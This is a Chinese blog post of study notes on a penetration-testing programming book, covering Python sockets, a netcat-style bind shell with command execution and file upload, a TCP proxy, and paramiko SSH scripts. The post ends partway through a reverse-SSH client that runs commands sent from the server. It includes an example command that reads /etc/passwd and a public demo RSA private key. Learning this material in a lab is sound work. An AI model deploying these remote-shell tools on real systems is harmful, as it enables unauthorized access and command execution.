第二章读书笔记 --《python黑帽子:黑客与渗透测试编程之道》

运行机器:kali-linux-2023.2-vmware-amd64

python版本:3.11

参考:

(90条消息) Python黑帽子-黑客与渗透测试编程之道_python黑帽子黑客与渗透测_网络安全打工人的博客-CSDN博客

《Python黑帽子》学习​​​​​​笔记 - 20189211 - 博客园

(90条消息) 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(一):网络基础_思源湖的鱼的博客-CSDN博客

十分感谢以上文章给予我学习上的帮助!!!

目录

TCP客户端和服务器建立与连接

取代netcat

建立TCP代理

通过 paramiko 使用 SSH

test_rsa.key

创建ssh_command.py

反向将命令从SSH服务端发送给客户端

SSH隧道


TCP客户端和服务器建立与连接

创建TCP客户端文件(命名可以为TCPClient.py),有一处需要修改:host_name要改为自己虚拟机的IP地址


from socket import *

# print(gethostname())
host_name = "192.168.1.6"    #在kali虚拟机的命令行里输入“ifconfig”(双引号里面内容)获取ip地址
port_num = 1200              #1200为端口号,保持即可



clientSocket = socket(AF_INET,SOCK_STREAM)
clientSocket.connect((host_name,port_num))

message = input("enter something:")
clientSocket.send(message.encode())

upperMessage = clientSocket.recv(1024).decode()
print("the message from the server:" + upperMessage)

clientSocket.close()    

 创建TCP服务器(TCPServer.py),有一处需要修改:192.168.1.6改为自己虚拟机的ip地址


from socket import *

serverSocket = socket(AF_INET,SOCK_STREAM)
#自己kali虚拟机的ip地址
serverSocket.bind(("192.168.1.6",1200))

serverSocket.listen(2)
print("the server is ready to accept information....")

connectionSocket, address = serverSocket.accept()
message = connectionSocket.recv(1024).decode()
print("got the message from the client:" + message)

modifiedMessage = message.upper().encode()
connectionSocket.send(modifiedMessage)

connectionSocket.close()

TCP客户端(TCPClient.py)+TCP服务器(TCPServer.py)

提示:一定要先运行服务器,不然客户端运行不起来,其运行结果如下:

──(root㉿kali)-[~]
└─# python TCPClient.py  
Traceback (most recent call last):
  File "/root/TCPClient.py", line 11, in <module>
    clientSocket.connect((host_name,port_num))
ConnectionRefusedError: [Errno 111] Connection refused
                                                         

成功运行的结果如下:

先运行服务器(TCPServer.py)

┌──(root㉿kali)-[~]
└─# python TCPServer.py 
the server is ready to accept information....

其次运行客户端(TCPClient.py),输入hello world!(如下图中的"hello world!","  "里面的内容是我输入的)

┌──(root㉿kali)-[~]
└─# python TCPClient.py
enter something:hello world!
the message from the server:HELLO WORLD!
                                              

最后服务器显示如下:

┌──(root㉿kali)-[~]
└─# python TCPServer.py 
the server is ready to accept information....
got the message from the client:hello world!

即服务器成功获取到了我输入的信息。"HELLO WORLD!"是客户端输出的,因为服务器接收到数据后进行了.upper()操作后返回到了客户端。

取代netcat

创建python文件(bhpnet.py),比较长,请耐心下滑~不用修改

#!/usr/bin/python
# -*- coding:utf-8 -*-
# version : python3.5

import sys
import socket
import getopt
import threading
import subprocess

# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

# usage
def usage():
    print("BHP NET TOOL")
    print("")
    print("Usage: bhpet.py -t target_host -p port")
    print("-l --listen                - listen on [host]: [port] for incoming connections")
    print("-e --execute=file_to_run   - excute the give file upon receiving a connection")
    print("-c --command               - initialize a command shell")
    print("-u -upload=destination     - upon receiving connection upload a file and write to [destination]")
    print("Examples: ")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.ext")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\'cat /etc/passwd\'")
    print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
    sys.exit(0)

# 客户端
def client_sender():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到目标主机
        client.connect((target, port))
        print("Successfully connect to %s: %s" %(target, port))
        # if len(buffer):
        #     client.send(buffer.encode('utf-8'))

        while True:
            # 现在等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096).decode('utf-8')
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print(response)

            # 等待输入
            buffer = str(input(""))
            buffer += "\n"


            # 发送出去
            # print("sending....")
            client.send(buffer.encode('utf-8'))
            # print("[%s] has been sent Successfully" % buffer.encode('utf-8'))
    except:
        print("[*] Exception Exiting.")

        # 关闭连接
        client.close()

# 服务端
def server_loop():
    global target

    # 如果没有设置监听目标,那么我们默认监听本地
    if not len(target):
        target = "127.0.0.1"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)
    print("waiting for connection...")
    while True:
        client_socket, addr = server.accept()
        print("Successfully connect to %s: %s" % addr)
        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=[client_socket, ])
        client_thread.start()


def run_command(command):
    # 换行
    command = command.rstrip()

    # 运行命令并将结果返回
    try:
        # output = subprocess.getoutput(command)
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = "failed to execute command.\r\n"

    # 将输出发送
    return output

# 实现功能
def client_handler(client_socket):
    global upload
    global command
    global execute
    print("这里是client_handler")
    # 检测上传文件
    if len(upload_destination):
        # 读取所有的字符并写下目标
        file_buffer = ""
        print("waiting for write to %s...\n" % upload_destination)
        # 持续读取数据直到没有符合的数据
        while True:
            file_buffer = ""
            while True:   
                client_socket.send(b' Please input the file\'s content:\n')
                print("receiving")
                data = client_socket.recv(1024)
                print("the data is %s" % data)
                if b'exit' in data:
                    break
                else:
                    file_buffer += data.decode('utf-8')
            print("the file_buffer is %s\n" % file_buffer)

            # 现在我们接收这些数据并将它们写出来
            try:
                file_descriptor = open(upload_destination, "w")
                file_descriptor.write(file_buffer)
                file_descriptor.close()

                # 确认文件已经写出来
                client_socket.send(b'Successfully saved file to %s\r\n' % upload_destination.encode('utf-8'))

            except:
                client_socket.send(b'Fail to save file to %s\r\n' % upload_destination.encode('utf-8'))

    # 检查命令执行
    if len(execute):
        # 运行命令
        output = run_command(execute)

        client_socket.send(output)

    # 如果需要一个命令行shell, 那么我们进入另一个循环
    if command:
        while True:
            # 跳出一个窗口
            client_socket.send(" \n<BHP: #> ".encode('utf-8'))
            # 现在我们接收文件直到发现换行符
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024).decode('utf-8')
            # 返还命令输出
            response = run_command(cmd_buffer)
            # 返回响应数据
            client_socket.send(response)

# 主函数
def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # 读取命令行选项
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
                                   ["help", "listen", "execute", "target", "port", "command", "upload"])

    except getopt.GetoptError as err:
        print(str(err))
        usage

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--command"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"

    # 我们是监听还是仅从标准输入发送数据
    if not listen and len(target) and port > 0:
        # 执行客户端程序
        client_sender()

    # 我们开始监听并准备上传文件、执行命令
    # 放置一个反弹shell
    # 取决于上面的命令行选项
    if listen:
        # 执行服务端程序
        server_loop()
        
if __name__ == '__main__': 
    main()

在kali虚拟机里面打开两个终端,一个作为服务器,一个作为客户端

服务器:输入“python bhpnet.py -l -p 8888 -c”(“  ”里面的内容)

┌──(root㉿kali)-[~]
└─# python bhpnet.py -l -p 8888 -c 
waiting for connection...

客户端:输入“python bhpbet.py -t localhost -p 8888”(“  ”里面的内容),按下ENTER回车键;

       接着输入“whoami”(“  ”里面的内容),按下ENTER回车键;

        接着输入“ls -la”(“  ”里面的内容),,按下ENTER回车键。

执行结果如下:

──(root㉿kali)-[~]
└─# python bhpnet.py -t localhost -p 8888
Successfully connect to localhost: 8888
 
<BHP: #> 
whoami
root
 
<BHP: #> 
ls -la
总计 284
drwx------  22 root root  4096  7月18日 06:36 .
drwxr-xr-x  19 root root  4096  7月11日 00:08 ..
drwxr-xr-x   2 root root  4096  7月10日 22:32 公共
drwxr-xr-x   2 root root  4096  7月10日 22:32 模板
drwxr-xr-x   2 root root  4096  7月10日 22:32 视频
drwxr-xr-x   2 root root  4096  7月15日 00:19 图片
drwxr-xr-x   2 root root  4096  7月10日 22:32 文档
drwxr-xr-x   2 root root  4096  7月10日 22:32 下载
drwxr-xr-x   2 root root  4096  7月10日 22:32 音乐
drwxr-xr-x   2 root root  4096  7月15日 07:41 桌面
drwxr-xr-x   3 root root  4096  7月12日 21:37 Awesome-Hacking
-rw-r--r--   1 root root   220  7月10日 08:27 .bash_logout
-rw-r--r--   1 root root  5551  5月23日 00:23 .bashrc
-rw-r--r--   1 root root   571  5月23日 00:23 .bashrc.original
-rwxr-xr-x   1 root root  6597  7月15日 12:00 bhpnet.py
drwx------  15 root root  4096  7月17日 10:38 .cache
drwxr-xr-x  15 root root  4096  7月16日 22:49 .config
drwx------   3 root root  4096  7月15日 00:46 .dbus
drwxr-xr-x   2 root root  4096  7月10日 22:32 Desktop
-rw-r--r--   1 root root    35  7月10日 08:27 .dmrc
-rw-r--r--   1 root root 11656  5月23日 00:23 .face
lrwxrwxrwx   1 root root    11  5月23日 00:23 .face.icon -> /root/.face
-rw-r--r--   1 root root    20  7月16日 22:57 gethostname.py
drwx------   3 root root  4096  7月10日 08:27 .gnupg
-rw-------   1 root root     0  7月10日 08:27 .ICEauthority
drwxr-xr-x   3 root root  4096  7月10日 08:27 .java
-rw-------   1 root root    20  7月18日 06:36 .lesshst
drwx------   4 root root  4096  7月10日 08:27 .local
drwx------   4 root root  4096  7月10日 23:19 .mozilla
-rw-------   1 root root    13  7月16日 22:08 .mysql_history
-rw-r--r--   1 root root   161  5月15日 22:18 .profile
-rw-------   1 root root   136  7月18日 02:02 .python_history
-rwxr-xr-x   1 root root  5206  7月18日 02:32 rforward.py
drwxr-x---   2 root root  4096  7月18日 00:27 .ssh
-rw-r--r--   1 root root  1333  7月18日 02:15 ssh_client.py
-rw-r--r--   1 root root   927  7月17日 10:50 ssh_command.py
-rwxr-xr-x   1 root root  2093  7月18日 02:04 ssh_server.py
-rw-r--r--   1 root root   418  7月16日 23:57 TCPClient.py
-rwxr-xr-x   1 root root  4932  7月15日 12:27 TCPproxy.py
-rw-r--r--   1 root root   456  7月16日 23:57 TCPServer.py
-rw-r--r--   1 root root   883  7月18日 00:26 test_rsa.key
-rw-r--r--   1 root root   231  7月15日 11:33 UDPpp.py
-rw-------   1 root root 15428  7月18日 06:29 .viminfo
drwxr-xr-x 120 root root  4096  7月15日 01:22 vulhub
drwx------   3 root root  4096  7月18日 12:33 .wingpersonal5
-rw-------   1 root root    49  7月15日 07:21 .Xauthority
-rw-------   1 root root 22439  7月18日 12:33 .xsession-errors
-rw-------   1 root root 13737  7月15日 07:18 .xsession-errors.old
-rw-r--r--   1 root root  2403  7月11日 22:15 ystemctl start docker
-rw-------   1 root root  9425  7月18日 06:25 .zsh_history
-rw-r--r--   1 root root 10868  5月23日 00:23 .zshrc

服务器:

变化如下

┌──(root㉿kali)-[~]
└─# python bhpnet.py -l -p 8888 -c 
waiting for connection...
Successfully connect to 127.0.0.1: 58758
这里是client_handler

执行完毕后退出服务器端和客户端,退出方法都是同时按下键盘按键CTRL和键盘按键C

建立TCP代理

创建python文件(TCPproxy.py),无需修改

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5

import sys
import socket
import threading

def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        server.bind((local_host, local_port))
    except:
        print("[!!] Fail to listen on %s: %d" % (local_host, local_port))
        print("[!!] Check for other listening sockets correct permissions.")
        sys.exit(0)
    print("[*] Listening on %s: %d" %(local_host, local_port))
    server.listen(5)
    while True:
        client_socket, addr = server.accept()

        # 打印出本地连接信息
        print("[>>==] Received incoming connection from %s: %d" %(addr[0], addr[1]))

        # 开启一个线程与远程主机通信
        proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))

        proxy_thread.start()

def proxy_handler(client_socket, remote_host, remote_port, receive_first):
    #连接远程主机
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))

    # 如果必要从远程主机接收数据
    if receive_first:
        remote_buffer =  receive_from(remote_socket)
        hexdump(remote_buffer)

        # 发送给我们的响应处理
        remote_buffer = response_handler(remote_buffer)

        # 如果我们有数据传递给本地客户端,发送它
        if len(remote_buffer):
            print("[<<==] Sending %d bytes to localhost."%len(remote_buffer))
            client_socket.send(remote_buffer)

    # 现在我们从本地循环读取数据。发送给远程主机和本地主机
    while True:
        # 从本地读取数据
        local_buffer = receive_from(client_socket)
        if len(local_buffer):
            print("[>>==] Received %d bytes from localhost."%len(local_buffer))

            hexdump(local_buffer)
            # 发送给我们的本地请求
            local_buffer = request_handler(local_buffer)
            # 向远程主机发送数据
            remote_socket.send(local_buffer)
            print("[==>>] Sent to remote.")

        # 接收响应的数据
        remote_buffer = receive_from(remote_socket)
        if len(remote_buffer):
            print("[==<<] Received %d bytes from remote. " % len(remote_buffer))
            hexdump(remote_buffer)
            # 发送到响应处理函数
            remote_buffer = response_handler(remote_buffer)
            # 将响应发送给本地socket
            client_socket.send(remote_buffer)
            print("[<<==] Sent to localhost")

        # 如果两边都没有数据,关闭连接
        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print("[*] No more data. Closing connections.")
            break


def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, str) else 2

    for i in range(0, len(src), length):
        s = src[i:i + length]
        hexa = ' '.join([hex(x)[2:].upper().zfill(digits) for x in s])
        text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])
        result.append("{0:04X}".format(i) + ' ' * 3 + hexa.ljust(length * (digits + 1)) + ' ' * 3 + "{0}".format(text))

    # return '\n'.join(result)
    print('\n'.join(result))

def receive_from(connection):
    buffer= ""

    # 我们设置了两秒的超时,这取决于目标的情况,肯需要调整
    connection.settimeout(2)

    try:
        # 持续从缓存中读取数据,直到没有数据或超时
        while True:
            data = connection.recv(4096)
            if not data:
                break
            data = bytes.decode(data)
            buffer += data
            buffer = str.encode(buffer)       
    except:
        pass
    return buffer

# 对目标是远程主机的请求进行修改
def request_handler(buffer):
    # 执行包修改
    return buffer

# 对目标是本地主机的响应进行修改
def response_handler(buffer):
    # 执行包修改
    return buffer

def main():
     if len(sys.argv[1:])!=5:
         print("Usage: ./proxy.py [localhost][localport][remotehost][remoteport][receive_first]")
         sys.exit(0)
     # 设置本地监听参数
     local_host = sys.argv[1]
     local_port = int(sys.argv[2])

     # 设置远程目标
     remote_host = sys.argv[3]
     remote_port = int(sys.argv[4])

     # 告诉代理在发送给远程主机之前连接和接收数据
     receive_first = sys.argv[5]

     if 'True' in receive_first:
         receive_first = True
     else:
         receive_first = False

     # 现在我们设置好我们的监听socket
     server_loop(local_host, local_port, remote_host, remote_port, receive_first)

if __name__ == '__main__': 
    main()

kali虚拟机上打开两个终端,一个作为服务器,一个作为客户端

服务器:

输入“python TCPproxy.py 127.0.0.1 8080 www.baidu.com 80 True”

┌──(root㉿kali)-[~]
└─# python TCPproxy.py 127.0.0.1 8080 www.baidu.com 80 True
[*] Listening on 127.0.0.1: 8080

配置代理

 设置代理到这里也就结束了,然后在kali虚拟机的火狐浏览器里的ip地址栏里搜索www.baidu.com

服务器运行结果如下:(不用输入)

─(root㉿kali)-[~]
└─# python TCPproxy.py 127.0.0.1 8080 www.baidu.com 80 True
[*] Listening on 127.0.0.1: 8080
[>>==] Received incoming connection from 127.0.0.1: 36626
[>>==] Received incoming connection from 127.0.0.1: 36634


[>>==] Received 249 bytes from localhost.
0000   43 4F 4E 4E 45 43 54 20 66 69 72 65 66 6F 78 2E    CONNECT firefox.
0010   73 65 74 74 69 6E 67 73 2E 73 65 72 76 69 63 65    settings.service
0020   73 2E 6D 6F 7A 69 6C 6C 61 2E 63 6F 6D 3A 34 34    s.mozilla.com:44
0030   33 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72    3 HTTP/1.1..User
0040   2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F    -Agent: Mozilla/
0050   35 2E 30 20 28 58 31 31 3B 20 4C 69 6E 75 78 20    5.0 (X11; Linux 
0060   78 38 36 5F 36 34 3B 20 72 76 3A 31 30 32 2E 30    x86_64; rv:102.0
0070   29 20 47 65 63 6B 6F 2F 32 30 31 30 30 31 30 31    ) Gecko/20100101
0080   20 46 69 72 65 66 6F 78 2F 31 30 32 2E 30 0D 0A     Firefox/102.0..
0090   50 72 6F 78 79 2D 43 6F 6E 6E 65 63 74 69 6F 6E    Proxy-Connection
00A0   3A 20 6B 65 65 70 2D 61 6C 69 76 65 0D 0A 43 6F    : keep-alive..Co
00B0   6E 6E 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61    nnection: keep-a
00C0   6C 69 76 65 0D 0A 48 6F 73 74 3A 20 66 69 72 65    live..Host: fire
00D0   66 6F 78 2E 73 65 74 74 69 6E 67 73 2E 73 65 72    fox.settings.ser
00E0   76 69 63 65 73 2E 6D 6F 7A 69 6C 6C 61 2E 63 6F    vices.mozilla.co
00F0   6D 3A 34 34 33 0D 0A 0D 0A                         m:443....
[==>>] Sent to remote.
[>>==] Received 249 bytes from localhost.
0000   43 4F 4E 4E 45 43 54 20 66 69 72 65 66 6F 78 2E    CONNECT firefox.
0010   73 65 74 74 69 6E 67 73 2E 73 65 72 76 69 63 65    settings.service
0020   73 2E 6D 6F 7A 69 6C 6C 61 2E 63 6F 6D 3A 34 34    s.mozilla.com:44
0030   33 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72    3 HTTP/1.1..User
0040   2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F    -Agent: Mozilla/
0050   35 2E 30 20 28 58 31 31 3B 20 4C 69 6E 75 78 20    5.0 (X11; Linux 
0060   78 38 36 5F 36 34 3B 20 72 76 3A 31 30 32 2E 30    x86_64; rv:102.0
0070   29 20 47 65 63 6B 6F 2F 32 30 31 30 30 31 30 31    ) Gecko/20100101
0080   20 46 69 72 65 66 6F 78 2F 31 30 32 2E 30 0D 0A     Firefox/102.0..
0090   50 72 6F 78 79 2D 43 6F 6E 6E 65 63 74 69 6F 6E    Proxy-Connection
00A0   3A 20 6B 65 65 70 2D 61 6C 69 76 65 0D 0A 43 6F    : keep-alive..Co
00B0   6E 6E 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61    nnection: keep-a
00C0   6C 69 76 65 0D 0A 48 6F 73 74 3A 20 66 69 72 65    live..Host: fire
00D0   66 6F 78 2E 73 65 74 74 69 6E 67 73 2E 73 65 72    fox.settings.ser
00E0   76 69 63 65 73 2E 6D 6F 7A 69 6C 6C 61 2E 63 6F    vices.mozilla.co
00F0   6D 3A 34 34 33 0D 0A 0D 0A                         m:443....
[==>>] Sent to remote.
[>>==] Received incoming connection from 127.0.0.1: 44452
[==<<] Received 136 bytes from remote. 
0000   48 54 54 50 2F 31 2E 31 20 34 30 33 20 46 6F 72    HTTP/1.1 403 For
0010   62 69 64 64 65 6E 0D 0A 53 65 72 76 65 72 3A 20    bidden..Server: 
0020   62 66 65 0D 0A 44 61 74 65 3A 20 54 75 65 2C 20    bfe..Date: Tue, 
0030   31 38 20 4A 75 6C 20 32 30 32 33 20 31 37 3A 30    18 Jul 2023 17:0
0040   33 3A 30 37 20 47 4D 54 0D 0A 43 6F 6E 74 65 6E    3:07 GMT..Conten
0050   74 2D 4C 65 6E 67 74 68 3A 20 30 0D 0A 43 6F 6E    t-Length: 0..Con
0060   74 65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F    tent-Type: text/
0070   70 6C 61 69 6E 3B 20 63 68 61 72 73 65 74 3D 75    plain; charset=u
0080   74 66 2D 38 0D 0A 0D 0A                            tf-8....
[<<==] Sent to localhost
[==<<] Received 136 bytes from remote. 
0000   48 54 54 50 2F 31 2E 31 20 34 30 33 20 46 6F 72    HTTP/1.1 403 For
0010   62 69 64 64 65 6E 0D 0A 53 65 72 76 65 72 3A 20    bidden..Server: 
0020   62 66 65 0D 0A 44 61 74 65 3A 20 54 75 65 2C 20    bfe..Date: Tue, 
0030   31 38 20 4A 75 6C 20 32 30 32 33 20 31 37 3A 30    18 Jul 2023 17:0
0040   33 3A 30 37 20 47 4D 54 0D 0A 43 6F 6E 74 65 6E    3:07 GMT..Conten
0050   74 2D 4C 65 6E 67 74 68 3A 20 30 0D 0A 43 6F 6E    t-Length: 0..Con
0060   74 65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F    tent-Type: text/
0070   70 6C 61 69 6E 3B 20 63 68 61 72 73 65 74 3D 75    plain; charset=u
0080   74 66 2D 38 0D 0A 0D 0A                            tf-8....
[<<==] Sent to localhost

[*] No more data. Closing connections.
[*] No more data. Closing connections.
[>>==] Received 201 bytes from localhost.
0000   43 4F 4E 4E 45 43 54 20 77 77 77 2E 62 61 69 64    CONNECT www.baid
0010   75 2E 63 6F 6D 3A 34 34 33 20 48 54 54 50 2F 31    u.com:443 HTTP/1
0020   2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20    .1..User-Agent: 
0030   4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 58 31 31    Mozilla/5.0 (X11
0040   3B 20 4C 69 6E 75 78 20 78 38 36 5F 36 34 3B 20    ; Linux x86_64; 
0050   72 76 3A 31 30 32 2E 30 29 20 47 65 63 6B 6F 2F    rv:102.0) Gecko/
0060   32 30 31 30 30 31 30 31 20 46 69 72 65 66 6F 78    20100101 Firefox
0070   2F 31 30 32 2E 30 0D 0A 50 72 6F 78 79 2D 43 6F    /102.0..Proxy-Co
0080   6E 6E 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61    nnection: keep-a
0090   6C 69 76 65 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E    live..Connection
00A0   3A 20 6B 65 65 70 2D 61 6C 69 76 65 0D 0A 48 6F    : keep-alive..Ho
00B0   73 74 3A 20 77 77 77 2E 62 61 69 64 75 2E 63 6F    st: www.baidu.co
00C0   6D 3A 34 34 33 0D 0A 0D 0A                         m:443....
[==>>] Sent to remote.
[==<<] Received 425 bytes from remote. 
0000   48 54 54 50 2F 31 2E 31 20 34 30 35 20 4D 65 74    HTTP/1.1 405 Met
0010   68 6F 64 20 4E 6F 74 20 41 6C 6C 6F 77 65 64 0D    hod Not Allowed.
0020   0A 41 6C 6C 6F 77 3A 20 47 45 54 2C 48 45 41 44    .Allow: GET,HEAD
0030   2C 50 4F 53 54 2C 4F 50 54 49 4F 4E 53 2C 54 52    ,POST,OPTIONS,TR
0040   41 43 45 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E    ACE..Content-Len
0050   67 74 68 3A 20 32 33 35 0D 0A 43 6F 6E 74 65 6E    gth: 235..Conten
0060   74 2D 54 79 70 65 3A 20 74 65 78 74 2F 68 74 6D    t-Type: text/htm
0070   6C 3B 20 63 68 61 72 73 65 74 3D 69 73 6F 2D 38    l; charset=iso-8
0080   38 35 39 2D 31 0D 0A 44 61 74 65 3A 20 54 75 65    859-1..Date: Tue
0090   2C 20 31 38 20 4A 75 6C 20 32 30 32 33 20 31 37    , 18 Jul 2023 17
00A0   3A 30 33 3A 31 32 20 47 4D 54 0D 0A 53 65 72 76    :03:12 GMT..Serv
00B0   65 72 3A 20 41 70 61 63 68 65 0D 0A 0D 0A 3C 21    er: Apache....<!
00C0   44 4F 43 54 59 50 45 20 48 54 4D 4C 20 50 55 42    DOCTYPE HTML PUB
00D0   4C 49 43 20 22 2D 2F 2F 49 45 54 46 2F 2F 44 54    LIC "-//IETF//DT
00E0   44 20 48 54 4D 4C 20 32 2E 30 2F 2F 45 4E 22 3E    D HTML 2.0//EN">
00F0   0A 3C 68 74 6D 6C 3E 3C 68 65 61 64 3E 0A 3C 74    .<html><head>.<t
0100   69 74 6C 65 3E 34 30 35 20 4D 65 74 68 6F 64 20    itle>405 Method 
0110   4E 6F 74 20 41 6C 6C 6F 77 65 64 3C 2F 74 69 74    Not Allowed</tit
0120   6C 65 3E 0A 3C 2F 68 65 61 64 3E 3C 62 6F 64 79    le>.</head><body
0130   3E 0A 3C 68 31 3E 4D 65 74 68 6F 64 20 4E 6F 74    >.<h1>Method Not
0140   20 41 6C 6C 6F 77 65 64 3C 2F 68 31 3E 0A 3C 70     Allowed</h1>.<p
0150   3E 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6D    >The requested m
0160   65 74 68 6F 64 20 43 4F 4E 4E 45 43 54 20 69 73    ethod CONNECT is
0170   20 6E 6F 74 20 61 6C 6C 6F 77 65 64 20 66 6F 72     not allowed for
0180   20 74 68 65 20 55 52 4C 20 2F 69 6E 64 65 78 2E     the URL /index.
0190   68 74 6D 6C 2E 3C 2F 70 3E 0A 3C 2F 62 6F 64 79    html.</p>.</body
01A0   3E 3C 2F 68 74 6D 6C 3E 0A                         ></html>.
[<<==] Sent to localhost
[*] No more data. Closing connections.

 运行结果出来后即可按下按键CTRL+C退出

通过 paramiko 使用 SSH

终端上输入如下命令即可安装paramiko模块

pip install paramiko

test_rsa.key

在虚拟机当前路径下创建一个文件,写入如下内容,保存为test_rsa.key,注意后缀也要改。可使用图形界面创建,那样自我认为简单一点。当然,凭自己的习惯来。

-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyz
oWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/
d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKB
gBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0
EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fon
soVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9H
tYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqU
avNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA
4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3g
H0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTv
qfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wV
HhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiSc
nvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7
-----END RSA PRIVATE KEY-----

来源:paramiko/demos/test_rsa.key at main · paramiko/paramiko · GitHub

创建ssh_command.py

代码如下:

注意:需要修改代码,其中ssh_command()函数里的两个‘kali’要改为自己kali虚拟机的用户名和密码,这是密码认证,另外认证方式还有密钥认证。

#coding=utf-8
import threading
import paramiko
import subprocess
# paramiko 支持用密钥认证来代理密码验证,推荐密钥认证

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()

    #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
    #client.load_host_key('/root/.ssh/known_hosts')

    #设置自动添加和保存目标ssh服务器的ssh密钥
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    # 连接
    client.connect(ip, username=user, password=passwd)

    #打开会话
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        #执行命令
        ssh_session.exec_command(command)
        #返回命令执行结果(1024个字符)
        print(ssh_session.recv(1024))

    return

#调用函数,以用户root及其密码连接并执行命令
ssh_command('127.0.0.1', 'kali', 'kali', 'id')

运行以及运行结果如下:

┌──(root㉿kali)-[~]
└─#  python ssh_command.py 
b'uid=1000(kali) gid=1000(kali) \xe7\xbb\x84=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),114(scanner),137(wireshark),140(kaboxer)\n'
                        

你可以修改脚本让SSH服务器运行多条命令,或者让多个SSH服务器执行命令

反向将命令从SSH服务端发送给客户端

创建python文件ssh_client.py,代码如下:

注意:要修改代码内容,最后一行的‘kali','kali'要改为自己的用户名和密码

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5
#coding=utf-8
import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command, port):
    client = paramiko.SSHClient()
        #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
    # client.load_host_keys('/home/root/.ssh/known_hosts') 
        #设置自动添加和保存目标ssh服务器的ssh密钥
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
        #连接
    client.connect(ip, port, username=user, password=passwd)  
        #打开会话
    ssh_session = client.get_transport().open_session() 
    if ssh_session.active:
                #发送command这个字符串,并不是执行命令
        ssh_session.send(command)   
                #返回命令执行结果(1024个字符)
        print(ssh_session.recv(1024))    
        while True:
                        #从ssh服务器获取命令
            command = ssh_session.recv(1024)    
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
